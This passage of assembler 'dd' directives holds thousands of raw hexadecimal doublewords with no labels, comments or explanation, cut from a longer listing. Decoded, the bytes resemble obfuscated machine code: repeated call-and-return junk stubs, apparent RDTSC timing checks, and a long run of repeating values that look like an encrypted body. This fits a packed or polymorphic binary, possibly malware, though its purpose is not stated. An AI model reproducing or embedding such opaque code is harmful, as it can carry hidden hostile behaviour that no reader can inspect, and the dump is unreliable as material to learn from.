0DD2CA821h, 64E753CBh, 17870Fh, 820F0000h dd 11h, 0BE8h, 83433100h, 73D6BD6Dh, 5FA3324Ch, 618D895Ah dd 0B06481Bh, 91850FC0h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0DB38C356h dd 8BE06846h, 481535BDh, 1958906h, 61064817h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F1C35242h, 0AB3B8FBBh dd 3A85C710h, 1064BA8h, 80000000h, 67E995D6h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 9E04C357h, 0AE9DD091h, 89F9F152h, 68F0Fh dd 0B5890000h, 6481CD9h, 50006A61h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0B4E3F2FEh, 81185F7Ah dd 11CC6h, 0DA816600h, 0F9E9C56Ah, 80FFFFFCh, 3A68F0DEh dd 8BACC0EEh, 240481CAh, 533F91C6h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 8CC35040h, 1AB9EB98h, 81664347h dd 8B8AA0CAh, 48121D95h, 8B006A06h, 4815759Dh, 42B5FF06h dd 29064BA8h, 480E098Dh, 0F595FF06h, 0F06480Ah, 684h, 91958B00h dd 8B06480Eh, 4BA83A85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0E80D1360h, 0DEB6BFC0h dd 0E7817463h, 103BA73Fh, 8E990h, 8A650000h, 3A1B12E0h dd 50507605h, 0F95B552h, 5AD38B31h, 9D8B9058h, 6482AD1h dd 0A84A858Dh, 958B064Bh, 648072Dh, 0D78B6690h, 0F88B6650h dd 9D9D8B90h, 6606480Fh, 858DD38Bh, 64BA807h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 32C35343h, 1753FB38h dd 57CBF1F4h, 90B0B7A4h, 50CE8B66h, 12E8h, 238F2600h, 0E64E0274h dd 0AC148B27h, 0BC5EEEF8h, 5076EE00h, 7E852h, 0F04A0000h dd 0DE3FE4CBh, 310F5911h, 850Fh, 585A0000h, 6A905Fh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 2356DAC3h, 0B589C42Dh, 64830E9h, 173195FFh, 6A0648h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0DA817EC3h, 8B0BD605h, 48137195h, 0FC08B06h, 688h, 0B19D8B00h dd 83064823h, 481299BDh, 9750006h, 0D35BD83h, 74000648h dd 8B535013h, 4D0B8C0h, 9D8D0000h, 64AA29Fh, 585BD3FFh dd 0D35BD83h, 74000648h, 0B8535011h, 4D0h, 0A19E9D8Dh dd 0D3FF064Ah, 6A585Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 89BE98C3h, 6ADFC1A5h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 4AC0C353h, 3FC0F946h, 66890D1Ah, 14E9DA8Bh, 60000000h dd 9096E06Eh, 0D20BF481h, 77F7221Ah, 88BB0665h, 8B7E8F4Bh dd 0C5E381C0h, 58716EE3h, 30458D89h, 8C20648h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0C674F779h, 0FD14BAA2h, 0FEB70FD0h, 61BBC08Bh, 8D52CA8Bh dd 4BA85E85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 33F04211h, 14E9C9h, 1F9C0000h, 0A7D8B012h dd 0F6B21B0Ah, 0BC3BA195h, 4A6DFECFh, 858916C1h, 64815A5h dd 39EBh, 2CC00BFh, 2E400BFh, 0BFh, 0B16C0000h, 0BD4B47BCh dd 0B56F76A5h, 0B17422B4h, 0F6EC4FBFh, 0D8AC4EB5h, 9424769Fh dd 0AC7E229Dh, 0B67D529Eh, 0BD7E4A85h, 0B80646B0h, 305422BBh dd 0D88122D2h, 87037DF1h, 0DC445E58h, 0DC146650h, 0D81822C9h dd 0A1CF7596h, 0D9A8A842h, 0D869E25Ah, 0D882CA84h, 85E022D1h dd 0B4E97F12h, 9CB126F5h, 0D80F26F5h, 8D4922D1h, 1A639912h dd 0B9B6A91Bh, 5B876AF8h, 90D2BB6Ch, 0D11522D7h, 0D5059F52h dd 0AC182499h, 535F72C8h, 0DCBF9A11h, 5D8A22D1h, 0DEC90B68h dd 7CA4BF5Ch, 0B9F249Bh, 65B37A8Ah, 0DE502FE4h, 881B56D1h dd 0DCBF9A82h, 5D8A22D1h, 0DEC90B68h, 7993BF5Ch, 0B9F249Bh dd 0D85A7A8Ah, 0D81BCA81h, 802C22D1h, 9C8F7A12h, 9C8226F5h dd 0D89B26F5h, 888022D1h, 4028212h, 0E4783C6Ah, 0CEC9AFE0h dd 0D2B32499h, 5319C121h, 8F034811h, 0D8812139h, 1B9F02D1h dd 0FC1CAB8Eh, 0FC74A3D5h, 0D81837D5h, 1B5B65D1h, 66BCD4D8h dd 584F304Dh, 5D476323h, 0DE882D28h, 59D5AB87h, 30366AC7h dd 0D81822D5h, 44A49A83h, 0DB769C81h, 9C88120Eh, 5F8E26F5h dd 0D8C022D8h, 30609DB1h, 2BB7722h, 8818A9B0h, 8A5E7283h dd 6D372D8Bh, 0D75B7893h, 0D88ACBE0h, 0B8E922D1h, 702BB1F9h dd 19DD7EF7h, 51407806h, 67080695h, 0A5E123C2h, 71B6DD89h dd 0BE876AF8h, 129CB50h, 0A700A75Ch, 0CBD9249Ah, 9F1822D1h dd 0A55A6EE6h, 9A631989h, 0F641CD2Dh, 4E140F8Bh, 83FAEA2h dd 0CCBD975Ah, 0D3D92499h, 5C1822D1h, 0ED1EE08Ch, 0AAF63911h dd 0DC69F137h, 0F448A3B7h, 0F3434A19h, 0DE896D76h, 7C3022D1h dd 0F3AA0CFBh, 0FC38A34Dh, 97A11952h, 305022BBh, 0D88122D2h dd 830379F1h, 0DC447E58h, 0DC146650h, 0D81822C4h, 18CF7192h dd 0D3EF427Ch, 3F0322D1h, 0A20B75D0h, 164EB784h, 4D63F9D8h dd 0DE780904h, 0D81CCAB0h, 0DAE022D1h, 616022D1h, 5353DDC3h dd 0FCC5A921h, 0EA479CD5h, 0D8EB1D55h, 298E4280h, 614B8229h dd 0BDB5EFABh, 9C8F78B0h, 585B26F5h dd 0D8EB5C00h, 309122BBh, 0D86022D2h, 81F37BF1h, 0DC3C6E58h dd 0DC286650h, 0D80622C7h, 87C07390h, 5DA87FD7h, 0DE883728h dd 0D80AF22Eh, 0D833CA84h, 853822D1h, 0B4857F12h, 9C8726F5h dd 0D81E26F5h, 8DC422D1h, 67727812h, 6BD2247Bh, 0D78D7F10h dd 0D818245Eh, 0D1B911D1h, 51006AD9h, 93B55F54h, 8A8148D7h dd 0D8C02139h, 1B3A02D1h, 0FC64AB8Bh, 0FC5CA3D5h, 0D80C3ED5h dd 1B5460D1h, 36623B1Fh, 0C40FF154h, 0DB4F2DFCh, 586022D1h dd 563F4613h, 0D81822D1h, 0C8B59F5Ah, 208D2499h, 0D801EED4h dd 5904ABD1h, 5BC66967h, 5DE93A11h, 0DE7B9454h, 34A1E2E2h dd 2B0C22D3h, 0DD812D7Bh, 660322D1h, 8E58FFD1h, 62444968h dd 21E5E4F2h, 9B366ADEh, 304922BBh, 0D80C22D2h, 81C57BF1h dd 0DC276E58h, 0DCA56650h, 0D8C022C4h, 1A37390h, 0D83BCAFEh dd 3E1E22D1h, 0DC1DAE3Eh, 0CBADEBD5h, 21BEA97Fh, 87876AF7h dd 0D8C02639h, 0BF0B7CD1h, 0D762724Dh, 0FC4698E0h, 80566501h dd 61664281h, 0D8C8F347h, 0D8813039h, 6CA9F8D1h, 74FAED69h dd 45882057h, 0E1F46897h, 8239EA65h, 9C8D43B0h, 606326F5h dd 0AE2C51C5h, 52C0A9B0h, 0FC24AB25h, 0EF2198D5h, 0B2401CB8h dd 0DBE474D1h, 0F80622D1h, 515DE18Fh, 598506A5h, 0C0C40695h dd 9E6022D1h, 0BCD9E187h, 0BED0646Ah, 24E9C56Eh, 0F1AF972Eh dd 0D8692499h, 0D882CA86h, 87E022D1h, 0A4E97D12h, 9CB126F5h dd 0D80026F5h, 8F4B22D1h, 0EF895812h, 0D0EA70D5h, 0E28122D1h dd 0A458057Ch, 55B0A583h, 934F4254h, 8A1848D7h, 0D80C2139h dd 1B5C02D1h, 0FC57AB8Bh, 0FCC5A3D5h, 0D8C036D5h, 1B3260D1h dd 0E5BD0901h, 271E6AC1h, 8D0C4801h, 0D8062139h, 1B5E02D1h dd 0FCEDAB8Ch, 0FC84A3D5h, 0D8603BD5h, 1B6567D1h, 2C2057CAh dd 6D3DFD41h, 0DE4E2B38h, 0FB96A758h, 0C9682499h, 9EC022D1h dd 597316DAh, 1CAE63C4h, 0AE56B04Dh, 274BA47Ah, 0DB2BA75Ch dd 0D8692499h, 0D882CA84h, 85E022D1h, 0B4E97F12h, 9CB126F5h dd 0D80226F5h, 8D4922D1h, 6A58AE12h, 0A5475DAAh, 155ED550h dd 5D497D81h, 0DE2809FCh, 306122BBh, 0D81822D2h, 81CF7BF1h dd 0DC226E58h, 0DC276650h, 0D88122C8h, 6C037390h, 72BBFE53h dd 21B5E4DBh, 8B1E6ADEh, 666AD85Ah, 0A76EFFB5h, 0BEB58CF5h dd 59734D68h, 0FC9906D5h, 0D28864D2h, 483022D1h, 0F4CF927h dd 0EB436764h, 62E4A3AFh, 877B5B3Bh, 0F128972Eh, 67CF2499h dd 0B8E5AF2Ah, 0B23669AEh, 0DBF073D1h, 0F80C22D1h, 515FE188h dd 5907069Dh, 0C5850695h, 99C022D1h, 9C30E180h, 0D4C32A7Dh dd 119308DAh, 0D80AA1DEh, 4D0722D1h, 0DE4B0B70h, 5D08F22Eh dd 0DE882BFCh, 303222BBh, 0D83022D2h, 82DB78F1h, 0DC287658h dd 0DC226650h, 0D80322CCh, 12427093h, 0F67221A8h, 5CF68EDBh dd 21B5E4ECh, 8B1E6ADEh, 305F22BBh, 0D80622D2h, 83C079F1h dd 0DCA57E58h, 0DCE46650h, 0D86022CBh, 7DF37192h, 54E6AE37h dd 1D8CDD27h, 0D802CA3Fh, 1CB022D1h, 66E7FAC9h, 5390E862h dd 0D7640695h, 0D830265Ah, 0B97842D1h, 880CA9B0h, 82CDA9B7h dd 0DC276658h, 0D88DCA81h, 625422D1h, 0CA8E46C7h, 936C26F8h dd 0D4F1B012h, 9E0C22D1h, 0A73AAEDDh, 35D7158Eh, 81A99C78h dd 0DF297A88h, 526022D1h, 56FEEF86h, 6DE77F20h, 0DE440B78h dd 2B8744B1h, 0D5EB1FBFh, 208122D1h, 6E44B3BBh, 7C6A34A9h dd 0E3A592D4h, 55797924h, 93734254h, 0D0862DD7h, 8E0322D1h dd 0D510AF58h, 279E2499h, 89604801h, 0D8302139h, 1B4102D1h dd 0FC40AB88h, 0FC42A3D5h, 0D8033BD5h, 1BD063D1h, 40F92A93h dd 5100911Fh, 90360F5Ch, 0AAF2DD7h, 2D89ABB0h, 0B2006AD8h dd 0DBEB70D1h, 0F88122D1h, 519AE18Bh, 59640685h, 0C5340695h dd 9A1822D1h, 123FE183h, 0D124CE34h, 0A7D57356h, 0E9F49F58h dd 5D062499h, 0DE282D28h, 0D8B92D96h, 0B01822D1h, 541EED75h dd 0A9129CB7h, 0DD272650h, 0F1AAEEDFh, 90DB1F54h, 71D5DDD7h dd 0D9366AF8h, 90032354h, 0D2E572D7h, 520622D1h, 0C1D29CE1h dd 0BF7DD8C3h, 5D4D7D07h, 0DE2B5DB1h, 0E42E550h, 8E769C4h dd 0AC6CB50h, 5D8F0A68h, 0DE4B2E2Ch, 30D622BBh, 0D8C022D2h dd 87A37DF1h, 0DC145E58h, 0DC3C6650h, 0D80C22CCh, 56C57596h dd 868B7A85h, 9272BC07h, 2145E446h, 9F666ADEh, 0D181AFE0h dd 0E7702499h, 5308F492h, 0FC02A307h, 0A506EFEAh, 30D622BBh dd 0D8C022D2h, 87A37DF1h, 0DC145E58h, 0DC3C6650h, 0D80C22CAh dd 0B7C57596h, 26D96241h, 27627963h, 90E98B64h, 0D86BCBD7h dd 4E1E22D1h, 42126657h, 0B8BE77C8h, 0B883AF0Ah, 270569AEh dd 0D514A901h, 51C66AFEh, 90517F54h, 21B5E4D7h, 9F1E6ADEh dd 0FFE9B7D0h, 0DCEE2499h, 850322D1h, 882BEFEDh, 0D8D4CB83h dd 0C14422D1h, 70551B3Eh, 0E45335A1h, 0E7996E5Dh, 4EDBFB88h dd 0E90CAD3Ah, 0A05C4068h, 889878DFh, 9CEBD55Ah, 8A6026F5h dd 6E7942B1h, 0E90343ECh, 8A567081h, 805913DEh, 80DB13DEh dd 0D84B7A8Bh, 0D8602A39h, 7D49F6D1h, 0FC710820h, 606A42F2h dd 5360F101h, 515A431Bh, 0B8850695h, 0DC0086Eh, 0F5A29C91h dd 80516325h, 304A22BBh, 0D80C22D2h, 82C578F1h, 0DC277658h dd 0DCA56650h, 0D8C022CAh, 81A37093h, 8E8648C6h, 53B0C066h dd 90160B64h, 71B3DDD7h, 66056AF8h, 0C201E991h, 0A7A0A75Ch dd 6DE9249Ah, 0DE782E34h, 0D872F22Eh, 0D80FCA83h, 822622D1h dd 8C8A7812h, 9C0026F5h, 0D8D626F5h, 8A2222D1h, 6C5A4F12h dd 0DE3997F8h, 5D852499h, 0DE4E0C0Ch, 305622BBh, 0D88122D2h dd 85037FF1h, 0DC444E58h, 0DC146650h, 0D81822C6h, 0E9CF7794h dd 0BEDFF10Fh, 0B08EE550h, 0D8EBF22Eh, 0D8C3CA87h, 864022D1h dd 0ACB97C12h, 9C9926F5h, 0D81826F5h, 8E4022D1h, 670CF512h dd 5D04AB01h, 0B2C66ACBh, 0DB8875D1h, 0F83022D1h, 5147E18Eh dd 590806ADh, 0C5020695h, 9F0322D1h, 0FFC2E186h, 92A0998Fh dd 2EC89937h, 0C955A7F8h, 65932499h, 0DE4434F4h, 0B2DEAEB7h dd 0DBEB70D1h, 0F88122D1h, 519AE18Bh, 59640685h, 0CE340695h dd 9A1822D1h, 6BC0E183h, 0FCECA8EAh, 1809DED5h, 0DA65A6DEh dd 0D12922D1h, 676022D1h, 0B539CA1Dh, 0D04A8DCAh, 0D7F5A717h dd 53492499h, 9025F764h, 55F04AD7h, 0E07FE125h, 595CC37Bh dd 398506E5h, 0D8725EA5h, 0D80FCA83h, 822622D1h, 8C8A7812h dd 9C0026F5h, 0D8DC26F5h, 8A2222D1h, 7E0B2112h, 0C4D36A32h dd 6DF3DC29h, 0DE4E0B78h, 0A763A75Ch, 277D249Ah, 8EC04801h dd 0D8602139h, 1B6E02D1h, 0FC6CAB8Fh, 0FC48A3D5h, 0D80637D5h dd 1B5564D1h, 4D0875B6h, 0DE883098h, 0BE44E252h, 51DBBF6Eh dd 9030974Ch, 9989ABD7h, 31006AD6h, 0D80322DAh, 83548336h dd 23A64ACDh, 53E7FD60h, 902AA754h, 881848D7h, 0D80C2139h dd 1B5E02D1h, 0FC47AB89h, 0FCC5A3D5h, 0D8C03FD5h, 1B3062D1h dd 1342DD73h, 1034E70Fh, 6587616Ch, 0DE4E35BCh, 0F6DEBF5Ah dd 53E72499h, 0D8AA612Fh, 0D863CA86h, 871022D1h, 0A4917D12h dd 9C8D26F5h, 0D81D26F5h, 8F4422D1h, 8541C512h, 0C3424F77h dd 1D5135Bh, 0B8366AF0h, 0D1759FD8h, 6F032499h, 0C38D4310h dd 305422BBh, 0D88122D2h, 87037DF1h, 0DC445E58h, 0DC146650h dd 0D81822C7h, 96CF7596h, 550DEF49h, 0DE4B09F0h, 0D8EB395Ah dd 0D8C3CA86h, 874022D1h, 0A4B97D12h, 9C9926F5h, 0D81526F5h dd 8F4122D1h, 78DE8912h dd 3028CB96h, 0D8C022C1h, 73211A09h, 93C6A29Ah, 82B677BCh dd 4456E57Ch, 0DF9B9F5Ah, 535A2499h, 8E8148CAh, 0D8C02139h dd 1B3E02D1h, 0FC44AB8Fh, 0FC5CA3D5h, 0D80C39D5h, 1B5064D1h dd 6D4EDDB2h, 3E8A6A72h, 0EB9AD781h, 45E9D709h, 0DE7830C8h dd 0D9E9AF5Ah, 5DCA2499h, 0DE4E2D28h, 8A034896h, 0D8812139h dd 1B9A02D1h, 0FC34AB8Bh, 0FC74A3D5h, 0D81834D5h, 1B5E60D1h dd 0D7067D23h, 0D803335Bh, 0D888CAD1h, 0F06C22D1h, 0B7EB226Eh dd 53692F3Bh, 0BC707B26h, 0BE37C543h, 59EF516Eh, 934606D5h dd 55085926h, 0DE882844h, 0F1C9972Eh, 55BB2499h, 0DE5038FCh dd 0A76CA75Ch, 0D86C249Ah, 0D800CA86h, 87A122D1h, 0A4497D12h dd 9CE126F5h, 0D82926F5h, 8F5F22D1h, 172A8F12h, 5198CCE9h dd 901B1F54h, 951C0BD7h, 27C66AE3h, 8B604801h, 0D8302139h dd 1B4302D1h, 0FC50AB8Ah, 0FC42A3D5h, 0D8033ED5h, 1BD261D1h dd 9C83C69Eh, 0DE7D9920h, 51C8A9F2h, 9014DF54h, 8B0C48D7h dd 0D8062139h, 1B5802D1h, 0FCDDAB8Ah, 0FC84A3D5h, 0D86037D5h dd 1B6361D1h, 6591D68Dh, 0DE440940h, 0C83BA758h, 31432499h dd 0D88122C2h, 0B17AEB44h, 0E8C3FF85h, 0B09D17E0h, 0A8125840h dd 8FF79408h, 0D8062C38h, 0D8336ED1h, 5261303h, 0B601D055h dd 879F20A6h, 2B1225Ah, 0A8B6FB3Ah, 6703225Ah, 0E983AB00h dd 31056AF8h, 0D88123C1h, 0D7D1975Ah, 5DED2499h, 0DE7B9472h dd 0D0D997FAh, 515C2499h, 6D8D06D5h, 0DE4B0EE0h, 0C16CB72Eh dd 0D8AA2499h, 0D863CA87h, 861022D1h, 0AC917C12h, 9C8D26F5h dd 0D81D26F5h, 8E4522D1h, 0DCCA7D12h, 0D4B20477h, 0D874CBC9h dd 51B122D1h, 650FF027h, 760FB799h, 0ECB26709h, 56D7209Bh dd 450CB80Eh, 0DE8B9478h, 303722BBh, 0D83022D2h, 87DB7DF1h dd 0DC285E58h, 0DC226650h, 0D80322CAh, 0FA427596h, 140DFFB7h dd 0D7DEB4C7h, 8BA3EC6Eh, 0D81AABDEh, 138722D1h, 0D4EF728Bh dd 880322D1h, 0ACC57A31h, 53D2522Ch, 4BD0FE00h, 306322BBh dd 0D81822D2h, 83CF79F1h, 0DC227E58h, 0DC276650h, 0D88122CAh dd 74037192h, 93BD8ED6h, 0F151A9D3h, 90374B54h, 0DC802DD7h dd 0BE0622D1h, 482D5968h, 0DA0B2D81h, 6DC022D1h, 556BB248h dd 0DE7836D0h, 0D80DBF58h, 4DF32499h, 0DE4E2BCCh, 0F6B69F5Ah dd 5D082499h, 0DE882590h, 0D866A9DEh, 65B922D1h, 0DE5029C0h dd 0D7F5A717h, 0B2552499h, 0DBEB73D1h, 0F88122D1h, 5199E188h dd 5964069Dh, 0CE340695h, 991822D1h, 32D6E180h, 4D734A9Bh dd 8A53AE41h, 0D882A2DEh, 53A622D1h, 8A512D06h, 826FF55Ah dd 0FC2CA389h, 0FE1B33DBh, 0E993AF5Ah, 6DFC2499h, 0DEC90B78h dd 0A7A0A75Ch, 6DE9249Ah, 0DE78057Ch, 0C88D3E6Fh, 51DCDDFAh dd 90067354h, 8E0348D7h, 0D8812139h, 1B9E02D1h, 0FC14AB8Fh dd 0FC74A3D5h, 0D81834D5h, 1B5A64D1h, 1E3BB91Ch, 900CDB54h dd 200A65D7h, 0C241BFD8h, 4C082499h, 0BEB24DC8h, 0EC99E85Ah dd 0C50026F5h, 880648F2h, 0D8032139h, 1BD902D1h, 0FC84AB89h dd 0FC24A3D5h, 0D83034D5h, 1B4862D1h, 0EB637831h, 90039B5Ch dd 658A73D7h, 0DEC909ACh, 657D0B8Fh, 27666AFFh, 90198B64h dd 8F1848D7h, 0D80C2139h, 1B5902D1h, 0FC7FAB8Eh, 0FCC5A3D5h dd 0D8C03BD5h, 1B3765D1h, 0CAC0592Ch, 0B84822DAh, 0FAADB7F8h dd 650F2499h, 0DE4B22B4h, 5D0C7BB0h, 0DE8B5DB1h, 303322BBh dd 0D83022D2h, 83DB79F1h, 0DC287E58h, 0DC226650h, 0D80322C7h dd 1E427192h, 83F242Fh, 303122BBh, 0D83022D2h, 81DB7BF1h dd 0DC286E58h, 0DC226650h, 0D80322C9h, 0B2427390h, 4B141F6Ch dd 0D801A758h, 0D85A2499h, 0D81BCA86h, 872C22D1h, 0A48F7D12h dd 9C8226F5h, 0D89D26F5h, 8F8722D1h, 0DB7F3112h, 0DBF5AD29h dd 537EA2CFh, 2189E421h, 8B006ADEh, 305522BBh, 0D88122D2h dd 86037CF1h, 0DC445658h, 0DC146650h, 0D81822CAh, 0A4CF7497h dd 6226FE70h, 0BEDFED5Bh, 30D4E36Bh, 0D8C022DFh, 295AFDBFh dd 6C743A80h, 0FDE67544h, 6F03E59Fh, 0DCEE7D20h, 480322D1h dd 88181B8Eh, 0B917A9B1h, 0DC44665Ah, 0D2D8225Ah, 491822D1h dd 75312E7Ch, 9B7A9571h, 208844CDh, 0FCC5AB8Fh, 802B97D5h dd 303622BBh, 0D83022D2h, 86DB7CF1h, 0DC285658h, 0DC226650h dd 0D80322C4h, 0C1427497h, 0E606A38Fh, 313DD9E7h, 0D83022DFh dd 0B38736BDh, 70388021h, 9CC3A498h, 6DFC5E52h, 0DEC90B78h dd 0D8C02839h, 7AA52ED1h, 0E1C9E3E6h, 0D769612Eh, 0F156F466h dd 9029334Ch, 0B886AFD7h, 0B28769AEh, 0DB2872D1h, 0F86022D1h dd 5168E189h, 591C0695h, 0C3080695h, 980622D1h, 99C8E181h dd 0B6DC1AA5h, 56CFDB2Ah, 0D86022D9h, 0D8B12DB1h, 0B91822D1h dd 0D866F22Eh, 0D805CA87h, 862322D1h, 0AC087C12h, 9C4126F5h dd 0D87726F5h, 8E7622D1h, 0D049E312h, 0D5E5702Fh, 790622D1h dd 70072791h, 8C96028h, 0BD69E0FBh, 0A9E5AB88h, 0B2366ADFh dd 0DBF073D1h, 0F80C22D1h, 515FE188h, 5907069Dh, 0C3850695h dd 99C022D1h, 0AC86E180h, 5DB9FCB6h, 5DDECD25h, 0DE442D28h dd 0D4852D86h, 0D70322D1h, 0D8812450h, 7D75ABD1h, 0B0666AF8h dd 0F61390B8h, 0D8182B39h, 1C4E7FD1h, 0EDA57211h, 0DDEB8E06h dd 0FC8122D1h, 554179D9h, 823ED35Bh, 45142650h, 2779C24Eh dd 90258B64h, 9DBBA9D7h, 55056ADFh, 93FE4254h, 89C048D7h dd 0D8602139h, 1B6902D1h, 0FC54AB88h, 0FC48A3D5h, 0D8063BD5h dd 1B5263D1h, 0E0DD81B8h, 0D7382A24h, 0D8603A5Eh, 0D820CAD1h dd 788022D1h, 800E8B9h, 97FD269Fh, 0AAEDA658h, 0B9E1E495h dd 4D4DA988h, 27666AFFh, 8A304801h, 0D8182139h, 1B5602D1h dd 0FC52AB8Bh, 0FC47A3D5h, 0D8813FD5h, 1B9260D1h, 879FC73Eh dd 0CDDF8766h, 5B17BA5Eh, 0D80C22D7h, 0CC0797D2h, 5D8A2499h dd 0DEC93208h, 309222BBh, 0D86022D2h, 82F378F1h, 0DC3C7658h dd 0DC286650h, 0D80622CBh, 82C07093h, 4F96ED0h, 0D529AD78h dd 176022D1h, 0DAB68E4Bh, 925EBF69h, 10B81B3Dh, 0D7FFA717h dd 0D1402499h, 9098936Ch, 72E44AD7h, 0DAD1CA63h, 0D4141650h dd 0B24C000Bh, 0DBE473D1h, 0F80622D1h, 515AE188h, 5985069Dh dd 0CFC40695h, 996022D1h, 3E2CE180h, 6519CB84h, 0DE443858h dd 0F1AF972Eh, 0D8692499h, 0D882CA83h, 82E022D1h, 8CE97812h dd 9CB126F5h, 0D80226F5h, 8A4E22D1h, 0A72D112h, 0B23575CCh dd 89342BB1h, 52C66AFDh, 6F6F431Bh, 0D8B92D26h, 551822D1h dd 93734254h, 658D71D7h, 0DE4B2C90h, 5151DD8Eh, 90D2CB54h dd 0D869CAD7h, 0D11722D1h, 0AC6FA203h, 53FED197h, 5D8B7806h dd 0DE489448h, 30D122BBh, 0D8C022D2h, 80A37AF1h, 0DC146658h dd 0DC3C6650h, 0D80C22C9h, 62C57291h, 0D6143FC3h, 0C350BF58h dd 8A502499h, 46FE9DB7h, 583F728Eh, 0D81822D3h, 0B29CCD5Bh dd 0DBEE71D1h, 0F80322D1h, 51DAE18Ah, 59C4068Dh, 0C0640695h dd 9B3022D1h, 0F875E182h, 0D7F992F4h, 0D8062157h, 82FB70D1h dd 27719DDEh, 90D9CF44h, 9FBEA3D7h, 5314DA4Dh, 8D184809h dd 0D80C2139h, 1B5B02D1h, 0FC6FAB8Ch, 0FCC5A3D5h, 0D8C038D5h dd 1B3567D1h, 68FDDBECh, 51C4EF3Ch, 9012C76Ch, 0D80ACBD7h dd 52EE22D1h, 740C0E29h, 0C12AE1F2h, 53060F14h, 55B5AF00h dd 531E6967h, 2EB32D21h, 0F8D4441h, 0D80BCA81h, 5D0D22D1h dd 0A7845308h, 0D737B346h, 0D8302259h, 48427BD1h, 305922BBh dd 0D80622D2h, 85C07FF1h dd 0DCA54E58h, 0DCE46650h, 0D86022CAh, 7BF37794h, 0E9381B11h dd 88CD99D4h, 51F1A9B7h, 0D35406CDh, 90AB2B64h, 4D3F7DD7h dd 0DE282BCCh, 0FF49975Ah, 5D912499h, 0DE440A20h, 305522BBh dd 0D80322D2h, 834279F1h, 0DCE47E58h, 0DC446650h, 0D83022CBh dd 76DB7192h, 0F1A37AD0h, 6709AD0Eh, 0F586E522h, 0D7876AD9h dd 0B2C022D1h, 0DB8877D1h, 0F83022D1h, 5145E18Ch, 590806BDh dd 0C0020695h, 9D0322D1h, 0C1CE184h, 539ECFE2h, 90530364h dd 69B5ABD7h, 511E6ADCh, 902C0B54h, 2993DDD7h, 0B2056AF9h dd 0DB6974D1h, 0F8C022D1h, 513EE18Fh, 593406A5h, 0C51C0695h dd 9E0C22D1h, 5E1AE187h, 38207923h, 260C34E4h, 0A145AB24h dd 0B2666AD5h, 0DBD874D1h, 0F81822D1h, 5152E18Fh, 590206A5h dd 0C3070695h, 9E8122D1h, 3133E187h, 1DD6D9BCh, 65319665h dd 0DE502908h, 0FB99A75Ah, 458B2499h, 0DE48EB28h, 55806158h dd 90C30F6Ch, 0BD5AFD7h, 61366918h, 0D81822E2h, 0EBE78622h dd 0D8062269h, 0ACC329D1h, 0D899E0D2h, 0D4E4665Ah, 0D860CA82h dd 596B22D1h, 0D8183512h, 0FC50ABD1h, 0FC42ABC1h, 0EFBB79C5h dd 2781BD71h, 0FC84A931h, 5180DDD5h, 902C2744h, 598523D7h dd 0B90A6AC4h, 0CCB7975Ah, 658E2499h, 0DECA945Ch, 12F5AF5Ch dd 0EDD8249Ah, 0EBA8047Ah, 9003AF54h, 19C309D7h, 0BBB82038h dd 0D2305422h, 0F1D88122h, 5887037Dh, 50DC445Eh, 0C9DC1466h dd 0E9831822h, 8BA4F305h, 53006AD9h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 686647h, 7BE9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 2B24F137h, 60E0F81Eh, 0FE9h, 0C547FC00h dd 82FF728Bh, 0CED6CE05h, 8077AC21h, 6160F860h, 880F6161h dd 19h, 14E9h, 0DE630A00h, 0E9B783ADh, 2AFC8F39h, 0BA1DC736h dd 0B334EB65h, 0AE96183h, 0A000000h, 0F2573961h, 0DB74BA82h dd 840FC302h, 8, 8F0F60h, 61000000h, 6AC08Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 88D50C3h dd 0D43BB9AAh, 99BD83F9h, 64812h, 0BD830975h, 6480D35h dd 50197400h, 0B8C08B53h, 4B9h, 2FF98589h, 9D8D0648h, 64AA4CBh dd 585BD3FFh, 0D35BD83h, 74000648h, 0B8535017h, 4B9h, 2FF98589h dd 9D8D0648h, 64AA16Ch, 585BD3FFh, 8850Fh, 0B9600000h dd 4FF231BAh, 6A61F5h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0F60ABC3h, 61F8FEBFh, 6AC08BF8h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 5EC1C356h, 0F7C603ADh, 13E960BBh, 7E000000h dd 8389B488h, 0D19C19F3h, 5270BDCFh, 0A4E713h, 0D5BEA6C6h dd 6150DEE4h, 81C18B40h, 899833F7h, 4EB78h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8B69C350h, 480E19BDh, 55858D06h, 6A064812h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0F83EC352h, 660D1D80h, 5458F681h, 0F525090h dd 82h, 0BE310F00h, 5B5F8568h, 5750585Ah, 453D38BEh, 6A905E7Ah dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 8D006AFEh, 4BCD7685h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0DE1B4A0h dd 5C0835Eh, 0AE9h, 0ED9E2800h, 0EED3E5DBh, 90914E07h dd 0F525050h, 5E505131h, 90585A5Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 28C35040h, 6A204444h, 59EE8100h dd 6A2731DCh, 